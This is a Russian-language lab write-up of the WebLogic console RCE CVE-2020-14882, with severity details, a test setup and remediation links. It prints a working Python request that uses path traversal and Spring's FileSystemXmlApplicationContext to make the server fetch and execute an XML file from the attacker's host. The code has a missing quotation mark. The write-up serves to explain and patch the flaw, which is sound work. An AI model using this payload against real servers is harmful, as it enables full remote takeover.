Уязвимость удаленного выполнения кода в WebLogic - CVE-2020-14882

• Введение

CVE-2020-14882 — это ошибка удаленного выполнения кода (RCE) в компоненте Console Oracle WebLogic Server. Эта ошибка, не требующая аутентификации, получила оценку сложности атаки «низкая» и была отмечена Oracle как «легко эксплуатируемая», что привело к присвоению ей критического балла CVSSv3 9.8. Успешная эксплуатация позволила бы неаутентифицированному злоумышленнику скомпрометировать сервер Oracle WebLogic через HTTP и получить полный контроль над хостом. (Подробнее - Tenable)

• Серьезность оценки - CVSS 3 ⚠️

Поддерживаемые версии, которые подвержены уязвимости: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 и 14.1.1.0.0.

Изучение - PoC ❗

Среда 💻

Жертва (WebLogic Server): 192.168.0.15 - Windows 10 PRO, работающий под управлением WebLogic Server.
Атакующий (Хостинг XML-файла): 192.168.0.16 - Kali Linux - GNU/Linux - Debian.

1. На первом шаге давайте создадим Python-файл, который будет эксплуатировать уязвимость в WebLogic.

Полезная нагрузка:

import requests
url = http://{}:{}/console/images/%252E%252E%252Fconsole.portal' \
		'?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext' \
		'(%22http://192.168.0.16:8000/Documents/teste.xml%22)'.format('192.168.0.15', '7001')
response = requests.get(url)

Эта полезная нагрузка вызовет XML-библиотеку Spring Framework для отправки запроса на сервер в домене атакующего в поисках файла teste.xml.

2. Нам нужно подготовить XML-файл, который будет вызван жертвой. Мы создали стандартную XML-структуру, однако мы включили фреймворк, и поля значений важны на этом этапе, потому что они будут выполнены на стороне жертвы. В этом примере мы вызываем файл калькулятора Windows.

3. На хосте атакующего нам нужно создать сервер с XML-файлом, который будет запрошен жертвой. Для удобства мы используем собственный Python-сервер http.server.

4. Начинаем атаку 🎯. Мы запускаем скрипт из шага 1. На этом этапе мы смогли обнаружить журнал вызовов XML-файла, выполняемых жертвой.

5. RCE успешно выполнено 💥. На стороне жертвы можно наблюдать удаленное выполнение (RCE) калькулятора Windows.

Заключение

28 октября исследователь безопасности по имени Jang опубликовал запись в блоге (на вьетнамском) о CVE-2020-14882, включая частичные детали, которые можно использовать для PoC. Jang не новичок в ошибках WebLogic: он известен обнаружением и сообщением об CVE-2020-2555 в Oracle, которая исправила уязвимость в своем CPU за январь 2020 года. В марте Jang подтвердил, что CVE-2020-2555 не была полностью исправлена. Обход для CVE-2020-2555 был раскрыт другим исследователем, Quynh Le из VNPT Information Security Center (ISC). И Le, и Jang указаны как сообщившие об этом обходе, который идентифицирован как CVE-2020-2883. (Подробнее - Tenable)

Некоторые ссылки для устранения

• Oracle WebLogic: CVE-2020-14882 : Critical Patch Update (Doc ID 2771503.1). (Поддержка Oracle)

• Oracle Critical Patch Update Advisory - October 2020. (Поддержка Oracle)

• Как смягчить последствия CVE-2020-14882 WebLogic. (Поддержка Oracle)

• Уязвимость в продукте Oracle WebLogic Server из Oracle Fusion Middleware. (Mitre - CVE)

Уязвимость устранена ✅